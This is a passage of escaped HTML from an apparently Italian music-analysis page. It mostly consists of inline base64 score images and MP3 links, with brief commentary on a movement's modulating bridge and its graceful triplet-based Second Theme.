39U23HV8nmb4ZLkV823UVAy06dZqmhsqvhmXKVOWfpCTzmo7+B\/fnwfAACgvo9dzblm6HDQt59sHHZK0Ahz6x6Xw2PPP6tZO7WJz6h7wIgFs7W2jXW0Wq6UT2OIT4HWJh9nsCxTos8dcOJoQEF958bBsezceJbX1bTU\/fhja1+0La\/Pg9dqcvTxiO2JjY+wfGrTRz474MInWNbZhRFdwFXJTIm1Kvk4FWYxfeSy1QZm6Ts3jo\/3g2+526nSP9v2F0Z7ZY8\/tvZFe\/YlOivVJUFPpTfyvUWmNn3k9gHfTjDzCZbVtzziCjiST2bEIsnHqTOR6SPXLDgwUei5scsxHmfabyI2frLlY19jLXlIS96jHUGT69Mdq9TUpo\/cMuDB7DKfYFkjayOigMlrtSPcQdDk5OPMLcuUZOYOOHE0oKCIc2PHwzxIUlfz\/Pmvn5kSK0LyS\/RUuFWLuC9WtalFjHww4NepZT7ByroXRug6SViopwI1xk1LPk5EWcbzmTvgxNGAgqacG8tPv7JmVvbUtxz86pQoQdIW0Kklu3ARd8QqOLWIkV\/HbJ9X5hMsrm9JxBUwYYm2hOiLnpB8nLiyDKY0d8CJowEFdZ8bpU6\/sib\/kcKs0UJDjEtYN93LN7lKHbEKTi1o5O4ZZT7BLZxdCdEFDF2Zp7fEyTRCk48TXZbulOYOOHE0yvKg76zv3Kh2+pU1\/w8WpgwVNPguRpZvRJUOopwNV21qz1kFDf6odym\/vH0LWHODLFezLNMHv\/AT5JkHfWd950bBA7CmkN9fHB9n+rB7GVm+EwsVEa7I1N5mFTR4h1LJ7GjfAtbcIMvVLMv0wS\/8BPnDs76tvnOj4AFYU9TPTQ0O8me02z2V1cs3LuLyqR1kFTf+WaWS2dG+Bay5QZarWZbp41\/7IfKHx31PfedGqaOvstifVhof4Z4PpmP5zqpVdNyFU\/uaVWiIU0ols6N9C1hzgyxXsyzTQ1z+OfLsDju3gmp17sunwom3hYx\/KSjze69h1cu7I+7Z6Kum1pJVQqBGpZLZ0b4FrLlBlqtZlumBbvI0+XWfLbxKwQr3pbT8uNtF6r8UNPHD1UxPOP\/9fSriSAL5U2tMKSdWi1LJ7Ci5gHPDFdwgFRQsy\/RYt3qg\/HO3jZypZm37sjo45QrOcaHU07\/9bbTdQ4pIOPPl3f6ApqSRObX2fDIjHiuVzI7y18\/0AUttkCKqlWV6xHs+Vm67o0OVrerIrenTLw0ndR0ra3H8kLZ7TkEJ57y5W64L028SOVNrz2RJ6LdKJbOj\/AKm7crpUbZTpyzTQ3u+t2V3z1W5ns6NUO\/\/DWUAAICyPnY1pbzNtb4dc35U\/X9B3JmqDlpSQE+NQZYQXqwj7lm9u833WNFabLout05bS1OHwg5aVUAPjhHWDw\/\/DGyv2xbthlM+ULcWmz6nHTeVlqYatR20sICeHd0sHv7xqm2nULed+Ft1a7HvGt0uc\/1MNSo8aG0BPT76WDk889o9pj7\/3Hnur+rWYutlul3yWppSFHnQ8q7GE6SDZcMrr+BXCvJMBZ4V+r9wvv3eoMQSbJe\/fqYOpR5UoYC2DGdZMHzijfzQ4H2gDs+iajF+M77Akt1x4zk6K1DzQUUKaAdxiqXCscFr1aZuOOVTVONZ3v84sq+xiUgvk014QFk+UZZBdQpokU934ZJedV5MN36\/Ku7yEyTIsv9LfeNQ09PLZ0O+pRQHFGdQtQLa+7Ncu5IXnhoRZt21irjMRFioeldzmaVsfz5ThGOKM6haAe39KS5fvctPkCCN965SR9BGqbKRyYtm7ta63rK2Yx9XfKzTqc+gmgW0\/UfcoWiXnyAJTl3Dog+lOplwE7qaBe68e2845Q5KNKhyAe+8\/fvcp1Z3mCNpTt3HKlhdMK6gelczN7067raf7zPTKVRpUP0C3mr7j7hVfe4zU\/Kdup7lWF0SLkhXs9JN9vmFpxZErQbtUsA7bP9uN6zJrSbLcqcubONWT5dbqNvV3GcbXPgUuMxEDnQc7n1WTzTQnQu4UaqZ7lmHG06Zmi52zHIfupoqrnRSbJ38WafW\/IjVEw2kgA\/tzePxuP2Pqt5z1gCzFP2Xne\/8Vtv3crZRqsUp3aB9C7jjxh93n5keu\/PcAcZV7Gq82x5nfve6Zp5rs9qdAg7avYDFd\/0sV51XNxUAGLGmq2kZYXpim2qpZ9q9Z0nQG1LJQfkFfLsFBrfGwp0e6hqziKAOACOy776N3xiR1e4arzhLrK7N1SjpoLQCftoL07fJ7ptxr2xhurdr3l6AuaI2Usfby95u137FibO6BlemvIPyC\/i8L\/5skLm7pv6GrZYPLPRp5dsUECFwF7XvVVt6XPPdZsjqWd6FUg\/KL+DxNgnaQWn7PWJMuJXnLXCwv9YlCFcQvoW86hZy+diU+g9KLuDXvZOzrUb2e6jQWcMWjneEzQJTLPvpcxsYPrE1BiUX8OuZtuTEm9WTdMicJtT3dYPYOzCFLQTleLcNSi7g1xtJqSuLBgaSfd0yNhRMYQtBOd5tg3Q1QB2OCMhhC0E53m2DMgvovgIcc0pADlsIyvFuG6SrAYpwREAauwjK8XobVKercV+Bm9PVQBq7CMrxehuUVsCfJ8cfyMkHqMYRAWlsJBjyk2X1RAPtW8Djwe\/w7IADX48gpwRMZCPBkITr+OXfefsW8Hjwyz844FjLEeGUgFnsJcjQeNv2kvtqYQ9zkMynX8pJA6jJb3xAJtsJwp29dnvPvdXYz6RdFD5FTO6sgLL8xgdksqMgVseF26vuj1P9TFpTsbanAorzGx+QzKaCQH33XW+7Z30tTWZXEx0I+ui011p4OsE92VoQpfs15rX3q7ul0dVwZ39WpoW6hCMCktlsEKL7eu0t+GukpYmuofsKZb1taazVfCoPyWw2CDHS0ngL\/qOrgbNel6W1uoSyQz77DeYbbGm8CB+1W5qHKwslWZN1OCIgn\/0G8w22NF6Ej9pdjcdEQZZlKR4H5LPfYL6zLzMtzauyLc3Dn6pRkjVZh2cBS9hyMF\/7+yz\/Rr6Lgi3Nwj4KjlmKpTgcYAn7DeZreZm5HB8r1c9AcXZBBU4nWMtOgxAHrzGvvUZaGmhhIwA8dDUQ5PWG4VLeQT\/Dbb1d588L3qYAeObsgygtN3L3jxbqxt28NjMHK9+mAHjoaiCBSznQ7u0poasBOOYQBIBCPnUpn\/oWXQ3AQ1cDAKWc6mq0NAD\/OAcBoJBPP6qqqwE44ByENVxEznJ74z7a\/w6efQHwj3MQlnEdaaRQ3E3jPy7S3vwAXJ5zEBZzKTmgONxWS2NjgwD8chTCen7D9ZWagK4GoJ2jEKpo\/JmTa1MEeHa8HewUgF+OQqjl58XqjDLcc9bw7Lhvef1VmwXgmdMQinq96F\/s+nL5CcIpn9a\/rgaghdMQqnt7+9\/xNnOZiUAEXQ3ACKchbOOgKyh4v9krW1jrYFMcf90+AvjHaQj7aWkYclqIOpnA1j5tEC0NQCMHIuytr6\/It7pOUNrzHmnZO3YWwB8ORLiO1Dalwep6wGXZYgB\/OBPhyvQwcEk2HcAfzkS4L30L7Mh+BHjlWIQo+gEgglMF4JVjEeb7c+dwBQG6OU8AWjgZYbK3VxC3EKDD6wHiMAF4y+EIM702MLoaoNvz6eEkATjgfIRp3DmA6dLesoUAAAGGSURBVPwNPYAWjkiYw7UDAGAVNzCYQ1cDALCKGxhMoKUBAFjIJQwm0NUAACzkEgaj\/F1eAIC1XMLgvZ\/\/9fvFTx\/Q2wAArOL6BW+8NjMHHYtmBgBgLfcw+Ottl6KrAQAoyz0M\/vrUpXzqW3Q1AABruYfBX6e6Gi0NAMByrmLw16e\/RaOrAQCoyVUM3mj\/B810NQAAy7mKwRuN\/1Jze\/MDAEAcVzF4r6Wx0dIAAFTgNgYf6WoAALbgNgZHjhsbXQ0AQAVuY\/Afx33L669qaQAAinAhg\/84+2NmuhoAgCJcyOA\/dDUAAJtyIYPH47BF8ZdqAACKcyGDx+Pz35\/R0gAA1OdOBo\/H\/\/742c\/\/+vR5XQ0AQBHuZNBDSwMAUIdrGfTQ1QAA1OFaBqdpaQAASnEzg9N0NQAApbiZwRd\/ehgtDQBANS5ncOT13zrT0gAAVON+BkeeWxp\/SgMAUJMrGnzx9f9dAwDAWm5pAADA3nQ1AADA3nQ1AADA3nQ1AADA3nQ1AADA3v4PFajtD70KW4UAAAAASUVORK5CYII=\" alt=\"\" width=\"317\" height=\"81\" \/><a href=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/EkN-Ponte-modulante.mp3\">EkN Ponte modulante<\/a><\/p>\n<p style=\"text-align: justify;\">Il Secondo Tema, costituito da un periodo di due Frasi binarie, comincia, come gli elementi gi\u00e0 considerati, in battere dopo una cesura molto netta.<\/p>\n<p style=\"text-align: justify;\"><img loading=\"lazy\" decoding=\"async\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAABEMAAADeCAIAAABZiVk7AAAcPklEQVR4nO3d23YrJxIAUP\/\/T3sevOYsx1Ijmq7iuvfTxJGAAgqo+GTy9Q0AALCar9EDAAAAuE0lAwAArEclAwAArEclAwAArEclAwAArEclAwAArEclAwAArEclAwAArEclAwAArEclAwAArEclAwAArEclAwAArEclAwAArEclAwAArEclAwAArOdzJfP1X3c\/\/1bEyAEAgHOVioqGOqSmjFHJAAAAD10WFQ2liDIGAADo40Ml8\/qTQkFSLlSUMQAAQJTL365c\/fyqkvlYqKhkAPbjF+8AjHL7ymm7q1xvAJsp\/+p+1KgAOIdKBoB7av6ksTMfgGw9KhlXGsBOyn+czG9mAOijsZLJ\/goAc\/r4L8aoZADoI72ScZkB7EQlA8Ak0n+7svdltnd0AK\/KZcy3SgaAXm6XJXc\/v\/dNtn2AAG9dHX3KGAC6SfxzYjvdZOV\/9Nh\/PABzUskA0E3tTXP4nytTyQCUqWEA6Kzqvjm8jPlWyQC8+LowelwAnOLzldN2M212n6lkAF4pZgAY6MN9o4z5oZIBKFPMANBZ6bJpvo32u8ZUMgAfKWYA6Onypmm+hLa8wGoqmf2iBvijXKWoZADo6fI2uvzCp8tpywusXMm4toHfvlqNHvgHH0e7VjgArO79VXT56SPLmO+XuBZ9hQAhmguVEPNE\/fEz\/QcJwFH+3jRPLtGNr67JXxhAqsoTYKz+k1D+TPZ4AOA\/l83Dy3LX22uelwTQTX3izyxvQho+AACxPv+Jqcqbacura+CjAehvwhy\/ewrljf9jOw5DADpz35T0eR9cdRQSAvBRUl5nqz+goqK7+vpa8wbANlw5JXkPgvr2A8MBftsv3SqPrIdHjcMKgEm4e0o+XtjN93fSCwOocVR+3TptDpkTAPbgxir5eLs33PoNrwoPC4girRw7AGzDXVXy7y6PqmTayhhPCnhONr1yBAGwNPdTlZBKprmM8YyAh+RRDccRAGtxJ1V5Xsk8KWM8HaCZJGrjUAJgfm6jKvWVzMOKpVKvuGFt8iWEEwmAObmBqlzd1q8\/TypdvBvgLpkSzrk0M4sCHGiWY27yA\/fqSqi8KtQt0JnESeW8modLBDjZFAfc\/Kft1fAqh91Ywcw9JzAnidOTs2sgVwnA+NNtidP2amy\/f14Y\/K37Zv7ZgJlJnCEcYj25UAB+DD7aVjlqr8ZWOXhXDnQjfcZyoGVruFCsArCr6SqZOU\/bPwO7e0+4b2AV0jCKky3D3dvE\/AN7G3m0LXTaPrwnfv6WmwYmJx\/DOeUCVd5E7hfgHMOOtoUO3Of3xNen3+d0iQP4QGLmMbfP1V9GLhrgECqZkqh7Yp6I4ATNp8qcB9FOzHCzu\/eRqYZKUmZpY5ZqlWM36pKYJBzYW0iqznYKbck8N6i\/jxp2PhxI4uxhlkrm9e92GEDlx55vdMkAqSpTtSZhXWDdeDHUu7XDGy4pOIr02cmAFfq4RTrsnsr2P27r+nYeDRe4cOtCcjNNyNLUaNvnphT+kET7mbGS+Y77tcxVO5XtfxxqfTs1owVuabuT5OOErE6ZfQ7PuTK2NLiS+fixkL6aG\/\/3mah2gCjNd5J8nJYFuvJV\/X\/lbw7hLVfGrnovT\/3OCNk9V43cbfxhO9IAYj25k+Tj5CzTq6\/\/\/mM12xtucWVsTCUT3M7DbKl0dx5gURLqTIcvjW0PbeTOgWavZB7umKsW7rZc3056Aj2eE1iIhMo27YRMNZjObPtVmNjZyJ0DDatkAj\/5sZH6nye1Y99DIJfQc6tM1FSDGah+BsxVB6ukDz+aLgpLuYyuK3RrZ4TsoasWfv+8fjD1P3\/92MfPAJXcSU8sN13zjGSg+hkwXamWSx++XRm7O7qSuTuY+p+\/fqxmtEANd1KbpSdtqsH0dyv2kycqz9Lpc7i2tbN8qxhTyYR\/uNzIa5t3N+vDkcgHCORCatAwaVNN3VSD6e9W7IfPVYbV0+dwFm5vR1Qyz7fsw5HICgjkTrrr7oxNO3sTDqmPu1GfOUtJtkmfY1m1ve1cycyzayUGBPqq\/q8Ejh7pFOpPwiXmcMIhdXA36jnXbkWbpc+ZvlwZW5u0knm4t2Y7a6QHBPqdUG6jj+6eh\/NP5pyjStUQ8oGzlGG\/9DnQlytjawMqmfpPNm+y2U4ZeQKBJFS9hrdX8wnZ84w9bQ8034MZgzlHz\/Qhj7XYW7\/Vrc\/t52fBbKeMLIJAEqpeh6fYkMO28xk+XEOwp01Rhg7pQwf1R1n2SMhwViXz5wMNLbeRHhBIQtVLfYfFttYWXUazE2qItPM1t6XU9KGbyuWwcIuarpIJOQ4+ttB5v8oNCCSh6iW9wzLabIsuvM05NV+F4SM5SlL60Fn9ili7Fc1VyUSdCP++ddVC57NGbkAgCVUv4xHW0GbekXvIZmi+Cg+ZnySTbHIeql8Xi7iiPSuZPw3W\/zyJxIBAEqpe+DvsboNRh3l5SEktz6Mtxs433X4m2eE8dGtprONyJqpkMo6GqxY6HzoSAwJJqHpfof8hhbsPu8DD\/OOokhqfRFuAJ8xMqtj0YZRbC2RBlzNLJZN0QFy10HmnygoIJKHq\/Z6r5wdszZNuyGtv+y3REGCHad9ebPowSsNBlzQSMvzn3ycBAABYQ9ey6V2PqcO7aqRz7J3nGaYSnm4Sql7gXGXfNQ8b2XtXNEQXdY0uZNRRs\/QkhyTv5O6GsEfUJxiwQd\/2mJo\/V410jl1KcLJRzwu+4+aq5rnTfJIHNrWrhsAPnLFRR82i83xO3t0d\/wYhH2LA7nztMTtzrtr5\/fMOkyAlONmo5wXfc1Qy4c2GRLSWu1GfOVcDj5q1pvq0vGsY\/NLxnmPA1vzTY4e0uWqnc35KCU428HlB1FxlPH3a2jxz9e9GfeZcDTxqFprtA\/OuYfCrh3yIAVvzX4\/dcuZPU6PyUz5wsvAsk1D1As\/S79A\/jnKrqc4n9oRuRX3sXI09apaY7TPzrmHwq4d8iDFbs3POTJKf8oHJpSZCeOMSql7gWfrvfzw\/UesvgiEn9oRuRX3sRI09auaf82PzrmHwy4W83IBDjNmaPRNmnvw8cHuxnLxcCG9ZQtULPE7\/\/OWTg7T+cB5yYk+oPuqTJ2r4UTP5nB+bdw3ruGLIK475oQHr1C1bZsvP0\/YWi0raqOFZJqHqRc1V4JzfPZ+fHNdDDvwMlcNePcyHhh81M898z7ybTfO5kTSePCuO+Yne69QzYWZLztP2FotKSorwZiVUvai5Cpzz+vO5+dCe5\/CPUjPgdaOLMvyomXnyO+TdtNrWccWoFx12s67r1DlbZsvMozYWS8tIjfA2JVS9wEM1pJ3v5H\/nOLa1eZRHu25csYYfNTPPf2reTa5tHRcNfN2RN+i3Tv2z5WP7nVf6nF3FBsK3a3i6Sah6UXPV4Xx+eEFktDmPwlAXjSjDDEfNtEuQlHdLuBXFBoEvPfhbOi3VkGz52HLnbXrOrmIDSfkY22Bga3uLmqvAOb\/5jqraPA1tdr4FHroa6roRZZjhqJl2FTbOjo9uxbJB+KuPv16PpRqVMP8avGq88zIfsqXYRmyChKebhKoXNVfh+yHwdrjbYN7Vk6dwka0YTpIZjpppF2LX1KhRH842M7BBCDVyl2qShLlqv\/Man7Cf2Elsboanm4SqF7iIIe38ayrqarh11\/S8fWL9GerSseSZ4aiZdi1i824t9UFtMwnbBFKWG+QkF8lVF50XePvNxGZi03OG58WxAhcxpJ0\/TT2\/FOrvmv4XUKB\/Q109kFTDj5qZlyM279ZSGd1Os7FNIGX\/CbLlBgAAABglq0Ia0fXVYOp\/njeMbn3Bc7GpGp5uEqpe1FwFznlsU09EDaODPaLINvyomXlRKkc15+Af+hjUfgl1yCmREt5sV8hVX52XduNtxJZiE3b48+JkUXMVOOeBQ3oiZAzd7BFFtuFHzczrUjmqacf\/RCGiXRPqkLMiPrb6+6PbnF7F2Hldd91DbCn8wTT8eXGyqLkKnPPAITUL7\/15g7e669bv2977dNpg7FHzcH6yJ7m+zbwlHrWRrvoam8XdOpo8bZ8Iju3qnH07ld2mdZL1m2EMUKmcvM0Nxo4wsLW9Rc1V7GUR1U6DvK5DWp6nxxm6vmvsUfNkcjpMcn2DSUs8dg\/XjCd7DN16fNvXtGn7RGRgV7N2NYPd5nSSxZthDFCjPovvthk7yMDW9hZ4yIe0E9jU1\/9\/w18vqt+8xus7Te2u0G\/P3u8aeNQ8mZw+k3yrwYzeB26k146G529ep1d9zZy5zcKiKs\/aVS\/7TWjBUcGyrqQTMPwAlVD1ouYqcM7Dh9R2Bz3p91YXIb2nRnSr3w7BNht41DxZlz6TfOtbe2TN29ZuDSNwAH3Cv+qoT5j9hQVWnrirLrac0ytHBcu6kk7A8DNUQtWLmqvAOU8aUrebuz5HAsfQIa6afvsE22zUUfNwafpM8t0vhs\/kwI30Vfz9bWxfVwPoE\/5VR33C7C8mtsKsldvfeGZfnRMp62pL5PqWo8b5LaHuiJqrwDmfcEh3+63JkdgHxKhHyZBgmw05ap6vS59JvvvF2Mkcu5Gueu+2Y7st8fBIOwuIrTxr5cY3ntlX50TKolJPwPBkl1D1ouYqcM77Dyl8wxRyJOn1MPBF0j\/YZv2PmqjwO0zy3e9mTOaojfTadf8dmx3+VYz9I+0pILyHE7fx5P5xTqSsKPsEDD9JJVS9qLkKnPP+Q0q6yz\/mS+ykjX2U9Ay2Wc+jJvycfG0zdpLvfneDrKnvtJuk8N82OzbSPp5G+Hzi9p7f386JlBVlH4Lhh6mEqhc1V4FzPmRI\/fdM7Laf\/FEyydi6HTVDXorP32wdvvJQ0nwmXW3hmgeWfYlP62mEz2dt7\/n97ZxIWVTqCRh+mEqoeoGLGNJOYFO32ul\/o4fv+ZkfJZMMrM9RM+ql+LCjhq+vnjW\/m13icZ\/xJg8c3oQeBXk1ZZNfLaMcEiZLyzsE+zwveCtwEUPaCWzqbjs9t03Gnp92288ztg5HzaiX4vO+Gr7eeWXzulvicR+yxKP25yiPgnw7Xw33yvaz\/OOQMFla3gnY4XnBlai5it0PQ9rp\/O4Mb3DabT\/PwFKPmrHPxOd9NbSwXIyFlud\/3Ics8RKRBmqP86qMacuT1wYbhjS5LYNiP0mZmPq8oCxqrmL3w6h2+uycjIts2stxqoElHTVRD54nwwh55jZ02i3M1L7mf2FGjW375\/Qf\/4nzKlEBAABm1FgAtbbTYYQTmiqKUXM+pN+jgo0SPsLweGeevdlEzVXsfhjVTp\/UO2p\/ThVsxlEzw+kd0uPdRjoHm9rREtdubGuTxxulMc7mxC6\/6j5qinEWk4x\/1IQP6feoYMNlrEVUa9\/TJNQSouYqdj+MaqdD3k2e2rFmC7bPeR7Yfv0YQtpp6LdPvNkdTX7nZoxt5ngDNa5rW2IXHnP1msKcwvDBj5rwIf0eFWyewOGFRzrzvM0mcBFD2glsqq2d7M0zeV7Hmi3YjKNm+KEdeEPd7bRbsNl9zbZR\/0ga3uRRh2jcpg2J\/fExV6812MHGjnzUbA\/p96hgUwUOLzzSmedtNoGLGNJOYFNt7aTm3eRJHWvCYDOOmrEnduw5fLffPvF26GjCvfpP3thmjjpKyzZteIp9fMnd9SDkYQYOe9RUD+n3qGA7iBpheKSTz9tUouYqcM7HDik17+ZP6kATBptx1Iw9rgP7rW+nc8gdOppto\/7mRHqiZZvefYrVPONeG\/n4leWMGvbH+U+a6iH9HhVsktexhQwyPNLZ5m1mUXMVOOdjh5SXdxNmdJ45g804agYe17Gd1jfVM94+HU24V3902LFzpmqUlp169yn29vNf7+qW+u+uuCSjxlyYwxpr9XtUsBnyxhke6VTzNrmouQqc84FDSs272TI61ZzBZhw1A8\/q2H4rm+occp+OJtyrP8KXeInHRqCW2G5NTf1UFtrZYz0GHoLN1ur3qGAzdJilwNFSL2rmA1dw4JDyUm\/CpM4zbbDhoxp4XIf3W9NU53in3Uh9xIafeolPqyWwW\/NS\/+HC391jPYYMuGZbZ+z4If0eFWy47AFPFexpomY+cAUHDikv9Y7a5NMGGz6wgWd1Riw1PfaMd9qN1Edg+NmX+LRaoro1KXc\/Wd\/pcosx8BxsM6TTUf0uF2y47DHPFu9RomY+cAUHDikp+yZM6jwzBxs+sFHBZvRbaG3I3TTzRuogNvzsS3xaLVHdmpS7n4zqd0JDBly\/swPntrnTUf2uGGysDiOfLeSjRM184AqOGlJe9h21w2cONnxso4LN6PeqwVF308wbqYPA8Dtc4tNqCenWjNyauPqmVlyJgUdh5\/3d0OmoftcNNtbdcTaEMGfgh4jagYErGNXU3XbycvCoHT5zsOFjGxVsRr9vGxx4Q828kToIDL\/DJT6tll17a9Pfyo36plbc\/QOPwnpRnd7tOqrfc4KN1WGc08Z+grupcbVYgSsYm4D1H07d3ofs8MmDDR\/bkEjzNupVR\/2XdfKNlC02\/MozfEuN0dZP1q05vdXacos06jT8rnvHhHc6qt9Dgo3VYaiTz8DeajZns+YhRYV268O293OTBxs+vCHB5m3UP12EpHPzYGbeSNliwx+7lGM1Blw\/X7em9VZry63TqNPw9\/\/us9f\/NDuk3+2DjdVhzKtMxZbebsue3g4pKrSGSQjp+rXl2GbnNH+w4cPrH2zeJH8V\/3lfeHflkUy+kVKFhz92Ncf6T8CfryMAAIB5tNdAFS3c6qWyqeZhDzRkwOd0Oqrf5fbhlezkWjFntxF3V0SKCu1W+CGdMjMLXZCajIx17Jq2B1w\/ZbdmtvyxpddpyIDP6XRUv8vtw4LU5FoxZ7dx9XwZKyq0+sBDemRy1rogLxOZwZnL+ijg+imrn9nyx5ZepCFjPqfTUf2uuBUL8lJs0bTdQ6meGCcqtMqoQ7pjfpa7IC8TmcSBK\/s02vopu\/Wxj32tuEJDxnxOp6P6XXErliWl2KJpu4fXmS8UGN0khXYVYEh3zM9yF8iLE5y2uE+jvZsPNZ+suZluD3QCQ4Z9Tqej+l10N5ZlJNq6mbuBtpmvLEia5YWW1BdLsOIF8uIQRy1xQKgNWVH+8MebqXGgow0Z+Tmdjup33Q1ZFp5uSyfv6jqXDZUyhpTXEauw6AVS4xznrHJMnLGJ8badDXJvyMjP6XRUv+tuyBqxL86952pmSWXDrS9mVzLvqyVb7jzWvUBqnOaEtQ4uPwLroqTGBzrnna2S4dXq+bu0qPd94ArGVsjKGP6x9AWyg\/1EbuioDPnTwjaJd847WyXDqw1SeF3l5359GRC4ghn3zsfxcwKrXyA72E\/8no4qZv60tkHinfPOVsnwao8sXlRbJVOpeUipoYU0zopsgAIJwn5S9nTIJbffnTQkkHM6HdXvNvsz2065vJwHdUqMt0NKDS2kcVZkAxSYHPaTeOg\/uVS2vJCGxHJOp6P63WmLptosndfyuBJJkRdaSMssyh4oMDnsJ\/3cv3XB7H0bDYnonE5H9bvfRk2yZVKv4mHJkSQptJBmWZdtUGBm2E+\/o\/\/u9bZfvg2J6JxOR\/W730ZN4nkxUFulkS0ptJBmWZdtUGBm2M\/go7\/Q+36H0ZBwzul0VL+b7dI8+2X0QpJKkYcyQgtpk6XZCQVmhv385\/TveIUBAAA8NracemvagTUbEs45nY7qd7NdCv8sce9MfpEB0MGMF8B+N9M572yVDJxDJQPAWJNeAJvdTOe8s1UywG9JZczvlqMaBGA5k94Bm91P57yzVTJAHyoZACa9Aza7n855Z6tkgD42uyYAaDDLfxnz7XeTBtbfOe9slQzQx2bXBAANUq6B5\/+i52ZX1DnvbJUM0Mdm1wQADeKvgUIZc7eYCR\/bKOe8s1UyAAD0EfwU+1jG1BczOz0Tz3lnq2QAAOhj6kpmm5fiOe9slQwAAH1EPsUqy5jKEkUlo9PJ+91mfwIArEgl08M572yVDAAAfUxdyQSObaxz3tkqGQAA+lDJ9HDOO1slAwBAH5NWMpXVzirOeWerZAAA6EMl08OtmaHNkGXt3ykAAD9m\/H9hHvUwzZP1eOeXIcvav1MAAH5MV8kMfJjmSXm5819DlrV\/pwAA\/BhQydS0EDuq4RLf7\/zfkGXt3ykAAD\/in2LNb82BT9Js6a94VDIAAIdJeYo1vDIHvkc76PecP9iQZe3fKQAAP7KeYvVPzIEv0W56P+qPNGRZ+3dKiJqdc2t33d2od3d1w1av\/Mqo9AGA53IvsLu39a4q54Fmo5Z1SL88UbmF\/vzk41q\/NtL2k\/LfurXbKz88MIMA4KEeF9hUr0\/gZH8On7cn0tvTqXxkVVYd9ZVMoc36+iT2kwAwG7cXcIrKX4CcU8n8fEAlA8Ci3F7AKfIqmY9tNn\/mdQwfv1Vfn6hkAFia2ws43ZmVzJ+QFTMALMfVBZyu5o+BNbTZXMkUfnf0sfGaz7z2opIBYEWuLuBohXKi\/t9LqW+2suurz39s\/Eklo5gBYC3uLeBoSc\/3+krmravPl9uv\/zXL2++qZABYi3sLOFfe2z31dzJX31XJAHAU9xZwrnUrmbdfr6xkCr8LUswAsBCXFrCqhy\/v1Ff7k0qm8PnC1z\/WOVefbB4PAIzl0gJW9eTlnf1k71DJ\/GkhqpJRzACwCjcWsKrmZ3eHx3pIJVP4w2N\/WigXOeVGbg0JAObhxgJW1fbsvnrfx77gn1cyb4uTq0ZUMgAcyI0FrKrh2f11rf\/Yyn8A7FYlU99CTSWjmAFgCa4rYFV339yFMibw7V7Tcnkkr18sN\/jnJ2\/baRtVwHQAQBoXFbAqr20AOJlHALAqlQwAnMwj4L3KP\/JR+d3yZ+qbqhlb8+eb5glGsnUB4GQeASVv30mFx1Pb5z8+xb7e\/SH45z+p+VswM1sXAE7mEVBy9U66VSfUNPXxu4W\/vGr81gg9B1mRSgYATuYRUFL\/e4ya55RKBmKpZADgZB4BJZWVTOVzqlBvPCwzKv+Imjcfm7GrAeBkHgEl9ZVMc4M15ZBKZkUmvAOTDAAn8wgoqalkbr2lCpVMoanUSsZDMIlHdgcmGQBO5hFQUnj93\/2jZVcffv3Lqz+B1jDOms94CCbxyO7AJAPAyTwCSq7qippfpFQ22LmSeaty8NxibjswyQBwMo+Akpp3f2wlU\/mZhjH4nUxnHtkdmGQAOJlHQMmTCqHyw1fVxZ9f++SN00MwiUd2ByYZAE7mEVBS+U66VclUfvd316mVDElMeAdvf2sKAOFG33i8Z2FKKvfuk48Vvvjv8x8brxmAPOzMhPfR4\/oC4HijrzveszAl9Xu35mNvP1P44r\/ePzZeM86Pn5GlsRx8AACpvLRKblUyH+uEu5XM969\/3vx8nOXPeHOHU8kAAKTy0iq5+xh9+\/mHJUSHSsabO4NZBQBI5aX13pM\/H1n5xfr26xu5+rVPjfoAqWFWAQBSeWlBCpUMAEAqLy1IoZIBAEjlpQUpVDIAAKm8tCCFSgYAIJWXFqRQyQAApPLSghQqGQCAVF5akEIlAwCQ6uiXVuV\/aAWajd7jAADbOvqlNfqVy+ZGb3AAgJ15bAEAAOtRyQAAAOtRyQAAAOtRyQAAAOtRyQAAAOtRyQAAAOtRyQAAAOtRyQAAAOtRyQAAAOtRyQAAAOtRyQAAAOv5HwFBJ+zcFmIwAAAAAElFTkSuQmCC\" alt=\"\" width=\"333\" height=\"70\" \/><a href=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/EkN-2\u00b0-Tema-frase-I.mp3\">EkN 2\u00b0 Tema, frase I<\/a><\/p>\n<p style=\"text-align: justify;\">Questo Secondo Tema \u00e8 dotato di una grazia sottile ed elegante che gli viene dal disegno in terzine (nella seconda Frase questa melodia viene affidata ai secondi vl. mentre i primi eseguono all\u2019acuto un disegno di note ribattute).<\/p>\n<p style=\"text-align: justify;\"><img loading=\"lazy\" decoding=\"async\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAw8AAAFeCAIAAABM87T6AAAgAElEQVR4nO3d0XbkKLNEYb\/\/S2su2ssju0pUAklmkOzvqo+7hAKEqDj9z\/R8XQAAAHj2lR0AAABAGm0JAACghbYEAADQQlsCAABooS0BAAC0fG5LX7+ZBu2\/BAAAQNOHKvP1Tu\/nKUwAAGBfn6vPn\/+z0X6eqhKFCQAA7OuxxLztN5a29PbzFCYAALCpvgbT6D2WP3AaCQgAAJDKrS25XwUAAKBgpPd034O2BAAAttXRYIbrDm0JAADsq+PvTxq\/B1UJAABsy\/r3LU3dg7YEAAC21fE3Jw3egKoEAAB21vcXc4\/cgKoEAAB2tuS\/E\/fn2tFsAAAA+br\/K7kdQ1OVAADA\/qxtprctUZUAAEANS9oSVQkAAJTh35aoSgAAoBLntkRVAgAAxXj+c0j0JAAAUE\/fvxPX\/szAbwEAAIj7v8c0KhFVCQAAHOtNW\/rTjSxVqW1hfAAAgMUe25Kx7nysSrQlAACwtV9VprfoUJUAAEB5tBkAAIAW2hIAAEALbQkAAKCFtgQAANBCWwIAAGihLR1K4V9ajM+gMOthCuHJoJNhRnr+9ABkkMqgE6NBNxnWUfhbHuIzKMx6mEJ4MuhkmJGePz0AGaQy6MRoE42FpRS2ZnwGhVkPUwhPBp0MM9Lzpwcgg1QGnRhtorGwlMLWjM+gMOthCuHJoJNhRnr+9ABkkMqgE6NNJZbsApWksDXjMyjMephCeDLoZJiRnj89ABmkMujEaJOIJb5GJSmseXwGhVkPUwhPBp0MM9Lzpwcgg1QGnRgN+cm2KJUAAOBYKnWStgQAADTJtSUKEwAAkCLxP5fSlgAAgKz8f8qPwgQAAJTRls6lsPLxGRRmPSM9f3oAMrhQyE8GhQAiGXRiPJH4Ox7E16gYhcWPz6Aw6xnp+dMDkMGFQn4yKAQQyaAT4yOVtvT6uwEBlt5CkGVTrt6d8RkUZj0jPX96ADK4UMhPBoUAIhl0YljTJtzy0xKEPaR146v